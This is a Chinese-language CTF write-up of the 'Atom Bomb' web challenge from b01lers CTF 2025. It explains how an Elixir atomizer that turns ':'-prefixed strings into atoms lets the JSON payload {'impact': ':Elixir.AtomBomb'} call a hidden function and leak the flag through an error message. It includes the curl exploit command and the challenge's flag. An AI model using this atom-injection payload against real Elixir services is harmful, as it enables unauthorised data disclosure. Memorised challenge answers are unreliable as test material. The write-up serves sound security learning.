利用Elixir中的原子特性 + 错误消息泄露 -- Atom Bomb
题目信息: This new atom bomb early warning system is quite strange…
题目使用 elixir 语言
一开始,我们会访问 /page.html
<!DOCTYPE html>
<!-- 设定文档语言为英语 -->
<html lang="en">
<head><!-- 设定字符编码为UTF-8 --><meta charset="UTF-8"><!-- 适配不同屏幕尺寸 --><meta name="viewport" content="width=device-width, initial-scale=1.0"><!-- 网页标题 --><title>Atom Bomb Alert System</title><style>body {/* 设置字体为Arial,若不可用则使用无衬线字体 */font-family: Arial, sans-serif;/* 深灰色背景 */background-color: #1a1a1a; /* 浅灰色文字 */color: #e0e0e0; /* 外边距为0 */margin: 0;/* 内边距为20px */padding: 20px;/* 使用弹性布局 */display: flex;/* 垂直排列子元素 */flex-direction: column;/* 水平居中内容 */align-items: center; }button {/* 红色背景 */background-color: #d9534f; /* 白色文字 */color: white;/* 无边框 */border: none;/* 内边距 */padding: 10px 20px;/* 圆角边框 */border-radius: 5px;/* 字体大小 */font-size: 16px;/* 鼠标悬停时显示手型光标 */cursor: pointer;/* 按钮下方间距 */margin-bottom: 20px; /* 背景颜色过渡效果 */transition: background-color 0.3s; }button:hover {/* 鼠标悬停时更深的红色 */background-color: #c9302c; }div {/* 宽度占容器的100% */width: 100%; /* 最大宽度为400px */max-width: 400px; /* 元素下方间距 */margin-bottom: 20px; /* 更深的卡片背景色 */background-color: #2a2a2a; /* 内边距 */padding: 15px;/* 深色边框 */border: 1px solid #444; /* 圆角边框 */border-radius: 5px;/* 深色阴影 */box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3); }h2 {/* 红色标题,强调紧急性 */color: #d9534f; /* 标题居中 */text-align: center;}h6 {/* 浅灰色副标题 */color: #bbb; /* 上方间距 */margin-top: 20px;/* 下方间距 */margin-bottom: 5px;}p {/* 段落深色背景 */background-color: #333; /* 段落深色边框 */border: 1px solid #555; /* 段落内边距 */padding: 10px;/* 段落圆角边框 */border-radius: 5px;/* 段落外边距 */margin: 5px 0 20px 0;}img {/* 图片最大宽度为容器的100% */max-width: 100%;/* 图片高度自适应 */height: auto;/* 图片深色边框 */border: 1px solid #444; /* 图片圆角边框 */border-radius: 5px;}#danger {/* 字体加粗 */font-weight: bold;/* 字体大小为1.2倍 */font-size: 1.2em;/* 红色文字 */color: #d9534f; /* 文字居中 */text-align: center;}/* 当屏幕宽度小于等于600px时的样式 */@media (max-width: 600px) {body {/* 减小内边距 */padding: 10px;}button {/* 按钮宽度占满容器 */width: 100%;}}</style>
</head>
<body><!-- 主标题 --><h2>Welcome to Atom Bomb Alert System</h2><!-- 点击按钮触发检查炸弹警报的函数 --><button onclick="check_alert()">Check for bomb alert</button><div><!-- 炸弹详情标题 --><h2>Bomb Details</h2><!-- 炸弹位置副标题 --><h6>Bomb Location</h6><!-- 用于显示炸弹位置的段落 --><p id="location"></p><!-- 炸弹高度副标题 --><h6>Bomb Altitude</h6><!-- 用于显示炸弹高度的段落 --><p id="altitude"></p><!-- 炸弹威力副标题 --><h6>Bomb Power</h6><!-- 用于显示炸弹威力的段落 --><p id="power"></p></div><div><!-- 危险评估标题 --><h2>Danger Assessment</h2><!-- 用于显示危险评估信息的段落 --><p id="danger"></p><!-- 用于显示原子炸弹爆炸图片的元素 --><img id="explosion" alt="Atom Bomb Explosion"></div>
</body>
</html><script>
/*** 从服务器获取炸弹信息* @returns {Promise<Object|null>} 包含炸弹信息的对象,如果出错或响应失败则返回null*/
async function get_bomb() {try {// 发送请求获取炸弹信息const responce = await fetch("/atom_bomb");if (responce.ok) {// 若响应成功,解析响应为JSON格式并返回return await responce.json();} else {// 若响应失败,返回nullreturn null;}} catch (error) {// 捕获并打印错误信息console.error(error.message);// 出错时返回nullreturn null;}
}/*** 检查炸弹的危险程度* @param {Object} bomb - 包含炸弹信息的对象* @returns {Promise<string|null>} 危险评估信息,如果出错或响应失败则返回null*/
async function check_bomb_danger(bomb) {// 将高度转换为特定格式(此处代码可能有误,推测是注释错误,原意可能不是转换为原子)bomb.altitude = ":" + bomb.altitude;// 构建请求体payload = {impact: {bomb: bomb}};try {// 发送POST请求检查炸弹危险程度const responce = await fetch("/bomb_impacts", {method: "POST",body: JSON.stringify(payload),headers: {"Content-Type": "application/json",},});if (responce.ok) {// 若响应成功,解析响应并返回危险评估信息return (await responce.json()).message;} else {// 若响应失败,返回nullreturn null;}} catch (error) {// 捕获并打印错误信息console.error(error.message);// 出错时返回nullreturn null;}
}/*** 检查炸弹警报并更新页面信息*/
async function check_alert() {// 获取炸弹信息const bomb = await get_bomb();// 获取用于显示炸弹位置、高度和威力的元素const location = document.getElementById("location");const altitude = document.getElementById("altitude");const power = document.getElementById("power");// 更新页面上的炸弹位置、高度和威力信息location.innerHTML = bomb.location;altitude.innerHTML = bomb.altitude;power.innerHTML = bomb.power;// 获取用于显示爆炸图片的元素const explosion = document.getElementById("explosion");// 更新爆炸图片的源地址explosion.src = `/images/atom${bomb.explosion_type}.png`;// 获取炸弹危险评估信息const message = await check_bomb_danger(bomb);// 获取用于显示危险评估信息的元素const danger = document.getElementById("danger");// 更新页面上的危险评估信息danger.innerHTML = message;
}// 页面加载时自动检查炸弹警报
check_alert();
</script>
// 定义一个名为 AtomBomb.Router 的模块,用于处理路由逻辑
defmodule AtomBomb.Router do// 使用 Phoenix.Router 模块,并禁用助手功能use Phoenix.Router, helpers: false// 导入 Plug.Conn 模块,用于处理连接相关操作import Plug.Conn// 导入 Phoenix.Controller 模块,用于处理控制器相关操作import Phoenix.Controller// 定义一个名为 :browser 的管道,用于处理浏览器请求pipeline :browser do// 配置该管道接受的请求格式为 HTMLplug :accepts, ["html"]// 设置安全的浏览器头信息plug :put_secure_browser_headersend// 定义一个名为 :api 的管道,用于处理 API 请求pipeline :api do// 配置该管道接受的请求格式为 JSONplug :accepts, ["json"]end// 定义一个路由作用域,所有路由路径都以根路径 "/" 开头,控制器命名空间为 AtomBombscope "/", AtomBomb do// 将该作用域下的请求通过 :browser 管道进行处理pipe_through :browser// 定义一个 GET 请求路由,当访问根路径 "/" 时,调用 PageController 模块的 :home 动作get "/", PageController, :homeend// 定义另一个路由作用域,所有路由路径都以根路径 "/" 开头,控制器命名空间为 AtomBombscope "/", AtomBomb do// 将该作用域下的请求通过 :api 管道进行处理pipe_through :api// 定义一个 GET 请求路由,当访问 "/atom_bomb" 路径时,调用 PageController 模块的 :get_atom_bomb 动作get "/atom_bomb", PageController, :get_atom_bomb// 定义一个 POST 请求路由,当访问 "/bomb_impacts" 路径时,调用 PageController 模块的 :get_bomb_impacts 动作post "/bomb_impacts", PageController, :get_bomb_impactsend
end
似乎只有此处存在输入
POST /bomb_impacts HTTP/2
Host: atom-bomb.atreides.b01lersc.tf
Content-Length: 99
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://atom-bomb.atreides.b01lersc.tf
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://atom-bomb.atreides.b01lersc.tf/page.html
Accept-Encoding: gzip, deflate, br
Priority: u=1, i{"impact":{"bomb":{"location":"idaho","power":1026,"altitude":":low_altitude","explosion_type":7}}}
继续分析其后端逻辑
// 定义一个名为 get_bomb_impacts 的控制器动作,用于获取炸弹影响信息// conn: 连接结构体,包含请求和响应的相关信息// params: 表示请求参数def get_bomb_impacts(conn, params) do// 调用 AtomBomb.atomizer 函数对请求参数进行处理params = AtomBomb.atomizer(params)// 调用 AtomBomb.calculate_bomb_danger_level 函数计算炸弹的危险等级,并将结果赋值给 danger_message 变量danger_message = AtomBomb.calculate_bomb_danger_level(params.impact.bomb)// 渲染名为 :danger_level 的视图模板,并传递危险等级信息作为 :danger_message 参数render(conn, :danger_level, danger_message: danger_message)
@doc """Converts params to atoms"""# 定义一个函数 atomizer,用于将映射类型的参数中的键转换为原子def atomizer(params) when is_map(params) do# 遍历映射中的每个键值对Enum.map(params, fn {key, val} -> # 根据 string_to_atom 函数的结果进行模式匹配case string_to_atom(key) do{:ok, key} -> # 如果转换成功,递归调用 atomizer 处理值,并返回新的键值对{key, atomizer(val)}:error -> # 如果转换失败,返回 nilnilendend)|> Enum.filter(fn val -> val != nil end)|> Map.newend# 定义一个函数 atomizer,用于处理列表类型的参数,递归调用 atomizer 处理列表中的每个元素def atomizer(params) when is_list(params) doEnum.map(params, &atomizer/1)end# 定义一个函数 atomizer,用于处理二进制类型的参数def atomizer(params) when is_binary(params) do# 检查字符串是否以 : 开头if String.at(params, 0) == ":" do# convert string to atom if it starts with :# 移除字符串开头的 :atom_string = String.slice(params, 1..-1//1)# 根据 string_to_atom 函数的结果进行模式匹配case string_to_atom(atom_string) do{:ok, val} -> # 如果转换成功,返回原子val:error -> # 如果转换失败,返回 nilnilendelse# 如果不以 : 开头,直接返回原字符串paramsendend# 定义一个函数 atomizer,用于处理其他类型的参数,直接返回原参数# any other value is left as isdef atomizer(params) doparamsend
@doc """Calculates the danger level of the atom bomb for the given location"""# 定义一个函数 calculate_bomb_danger_level,根据炸弹信息计算炸弹的危险等级def calculate_bomb_danger_level(bomb) do# 根据炸弹的高度确定缩放系数scaling = case bomb.altitude do:underground -> 0.05:surface -> 1.5:low_altitude -> 3.0:high_altitude -> 1.2:space -> 0.03end# 计算炸弹的实际威力power = scaling * bomb.power# 根据实际威力判断危险等级cond dopower < 200.0 -> "there is not much danger"power < 400.0 -> "you might get cancer"power < 800.0 -> "you should hide underground"power < 1300.0 -> "your house will be blown away"true -> "you might be cooked"endend
我们的目标应该是执行此处函数
# 定义一个函数 bomb,尝试读取 flag.txt 文件的内容,并返回包含炸弹信息的字符串def bomb() do# 尝试读取 flag.txt 文件flag = case File.read("flag.txt") do{:ok, flag} -> # 如果读取成功,返回文件内容flag{:error, _} -> # 如果读取失败,返回默认值"bctf{REDACTED}"end"The atom bomb detonated, and left in the crater there is a chunk of metal inscribed with #{flag}"end
根本搭不起来调试环境进,放弃 -------------------------------------------------------------------------------------------------------------------------------------
赛后
b01lers-ctf-2025-public/src/web/atombomb/solve at main · b01lers/b01lers-ctf-2025-public · GitHub
在 Elixir 中,原子(Atom) 是一种基本数据类型,用于表示固定值,其名称直接作为自身的值。原子是不可变的、常量,且通常用于代码中的标识符、状态标记或模式匹配。
核心特性:
-
名称即值
原子的值就是它的名字,例如:ok
、:error
、:hello
。不需要额外的赋值操作。 -
常量且高效
原子在内存中以唯一的形式存储(通过原子表),多次使用同一个原子不会重复占用内存。例如,无论使用多少次:ok
,内存中只有一份。 -
语法形式
- 简单原子:以冒号开头,后接小写字母、数字、下划线或
@
,例如:ok
、:status_code
。 - 带特殊字符的原子:用双引号包裹,例如
:"hello world!"
、:"123@email.com"
。
- 简单原子:以冒号开头,后接小写字母、数字、下划线或
常见用途:
-
模式匹配与函数返回值
case File.read("file.txt") do{:ok, content} -> IO.puts("成功读取:#{content}"){:error, reason} -> IO.puts("失败原因:#{reason}") end
函数常用
:ok
/:error
表示操作结果。 -
作为标识符
用于标识选项或配置,例如:
String.split("a,b,c", ",", trim: true) # `trim: true` 中的 `:trim` 是原子
-
模块名称
模块名本质是原子。例如IO.puts/1
中的IO
是原子Elixir.IO
的语法糖::"Elixir.IO".puts("Hello") # 等同于 IO.puts("Hello")
在 Elixir 中,原子可以直接或间接用于调用函数
漏洞的核心逻辑
def atomizer(params) when is_map(params) doEnum.map(params, fn {key, val} -> case string_to_atom(key) do{:ok, key} -> {key, atomizer(val)}:error -> nilendend)|> Enum.filter(fn val -> val != nil end)|> Map.new
enddef atomizer(params) when is_list(params) doEnum.map(params, &atomizer/1)
enddef atomizer(params) when is_binary(params) doif String.at(params, 0) == ":" do# convert string to atom if it starts with :# remove leading :atom_string = String.slice(params, 1..-1//1)case string_to_atom(atom_string) do{:ok, val} -> val:error -> nilendelseparamsend
end# any other value is left as is
def atomizer(params) doparams
end
-
服务器如何处理请求:
- 当你发送一个JSON请求到
/bomb_impacts
接口时,服务器会调用AtomBomb.atomizer
函数处理参数。 - 这个函数会将参数中的键(key)和以冒号开头的值(value)转换为原子(比如
":apple"
→:apple
)。
- 当你发送一个JSON请求到
-
危险的转换:
- 如果你发送一个参数值为
":Elixir.AtomBomb"
,它会被转换为原子:Elixir.AtomBomb
。 - 在Elixir中,
Module.function()
本质是调用原子:Elixir.Module
的function
方法。 - 所以
params.impact.bomb
会变成调用:Elixir.AtomBomb.bomb()
函数,而这个函数直接返回了包含flag的字符串!
- 如果你发送一个参数值为
-
触发错误泄露flag:
- 服务器后续代码试图访问
bomb.altitude
(认为bomb
是一个map)。 - 但实际上
bomb
此时是一个字符串(flag就在这个字符串里),访问不存在的字段会报错。 - 服务器的错误处理直接把错误信息返回给用户,于是你就能看到flag了!
- 服务器后续代码试图访问
攻击步骤
-
构造一个特殊的JSON:
{"impact": ":Elixir.AtomBomb"}
- 这里的
":Elixir.AtomBomb"
会被服务器转换为原子:Elixir.AtomBomb
- 这里的
-
发送这个JSON到服务器:
curl -X POST http://localhost:6888/bomb_impacts \-H "Content-Type: application/json" \--data '{"impact": ":Elixir.AtomBomb"}'
-
服务器处理过程:
# 定义 get_bomb_impacts 函数,处理获取炸弹影响信息的请求def get_bomb_impacts(conn, params) do# 调用 AtomBomb.atomizer 函数处理传入的参数params = AtomBomb.atomizer(params)# 调用 AtomBomb.calculate_bomb_danger_level 函数计算炸弹的危险等级,并获取危险信息danger_message = AtomBomb.calculate_bomb_danger_level(params.impact.bomb)# 渲染 :danger_level 视图并传递危险信息render(conn, :danger_level, danger_message: danger_message)end
- 参数处理 → 将
impact
转换为:Elixir.AtomBomb
- 试图调用
:Elixir.AtomBomb.bomb()
→ 返回包含flag的字符串 - 后续代码访问
bomb.altitude
失败 → 报错信息中包含这个字符串
- 最终结果:
服务器返回的错误信息中会直接显示:"The atom bomb detonated...bctf{n0w_w3_ar3_a1l_d3ad_:(_8cd12c17102ac269}"
类比理解
假设有一个自动售货机:
- 正常操作:投入硬币 → 选择饮料(比如输入
{"drink": "cola"}
) - 漏洞利用:输入一个特殊指令
{"drink": ":giveMeMoney"}
- 售货机错误地执行了内部函数
:giveMeMoney()
→ 直接吐钱